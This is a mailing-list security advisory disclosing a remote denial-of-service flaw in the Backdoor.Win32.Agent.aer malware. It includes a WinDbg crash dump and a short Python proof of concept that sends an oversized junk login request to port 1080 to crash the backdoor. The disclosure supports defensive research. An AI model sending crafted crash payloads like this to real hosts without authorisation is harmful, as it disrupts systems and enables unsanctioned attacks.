Date: Sat, 25 Sep 2021 21:13:12 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Agent.aer / Remote Denial of Service

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/9576a6a59715a69be499fa41d6383a64.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.aer
Vulnerability: Remote Denial of Service
Description: The malware listens on TCP port 1080. Third-party attackers
who can reach infected systems can send a specially crafted junk payload
for the logon credentials to trigger an exception and crash.
Type: PE32
MD5: 9576a6a59715a69be499fa41d6383a64
Vuln ID: MVID-2021-0346
Dropped files: svchost.exe
Disclosure: 09/25/2021

Memory Dump:
(2fc8.1f84): Unknown exception - code 00000000 (first/second chance not
available)
eax=00000000 ebx=00000000 ecx=3883ff6c edx=3883ff74 esi=00000003
edi=00000003
eip=776ced3c esp=3883f680 ebp=3883f810 iopl=0         nv up ei pl nz ac po
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00000212
ntdll!ZwWaitForMultipleObjects+0xc:
776ced3c c21400          ret     14h

0:003> .ecxr
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=00000000
edi=00000000
eip=00000000 esp=00000000 ebp=00000000 iopl=0         nv up di pl nz na po
nc
cs=0000  ss=0000  ds=0000  es=0000  fs=0000  gs=0000
efl=00000000
00000000 ??              ???

0:003> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************

*** WARNING: Unable to verify checksum for svchost.exe
*** ERROR: Module load completed but symbols could not be loaded for
svchost.exe
Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP:
svchost+a334
0040a334 8b4004          mov     eax,dword ptr [eax+4]

EXCEPTION_RECORD:  3883faa8 -- (.exr 0x3883faa8)
ExceptionAddress: 0040a334 (svchost+0x0000a334)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 041a7d6c
Attempt to read from address 041a7d6c

DEFAULT_BUCKET_ID:  APPLICATION_FAULT

PROCESS_NAME:  svchost.exe

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

CONTEXT:  3883faf8 -- (.cxr 0x3883faf8)
eax=041a7d68 ebx=041a7d68 ecx=3883ff6c edx=3883ff74 esi=00403964
edi=00403964
eip=0040a334 esp=3883ff58 ebp=3883ff6c iopl=0         nv up ei pl zr na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010246
svchost+0xa334:
0040a334 8b4004          mov     eax,dword ptr [eax+4]
ds:002b:041a7d6c=00000000
Resetting default scope

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  041a7d6c

READ_ADDRESS:  041a7d6c

FOLLOWUP_IP:
kernel32!BaseThreadInitThunk+0
74118630 8bff            mov     edi,edi

LAST_CONTROL_TRANSFER:  from 0040398e to 0040a334

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute
[Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

FAULTING_THREAD:  ffffffff

PRIMARY_PROBLEM_CLASS:  APPLICATION_FAULT

BUGCHECK_STR:  APPLICATION_FAULT_APPLICATION_FAULT

STACK_TEXT:
3883ff58 0040a334 svchost+0xa334
3883ff74 0040398e svchost+0x398e
3883ff88 74118654 kernel32!BaseThreadInitThunk+0x24
3883ff9c 776c4a77 ntdll!__RtlUserThreadStart+0x2f
3883ffe4 776c4a47 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  .cxr 000000003883FAF8 ; kb ; dds 3883ff58 ; kb

SYMBOL_NAME:  kernel32!BaseThreadInitThunk+0

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: kernel32

IMAGE_NAME:  kernel32.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  744765ce

FAILURE_BUCKET_ID:
 APPLICATION_FAULT_c0000005_kernel32.dll!BaseThreadInitThunk

BUCKET_ID:
 APPLICATION_FAULT_APPLICATION_FAULT_kernel32!BaseThreadInitThunk+0

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=1080

    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    JUNK="A"*2000
    PAYLOAD="GET /login?Nombre="+JUNK+"&Password="+JUNK+" HTTP/1.0\r\nHost:
"+MALWARE_HOST+"\r\n\r\n"
    s.send(PAYLOAD)
    s.close()


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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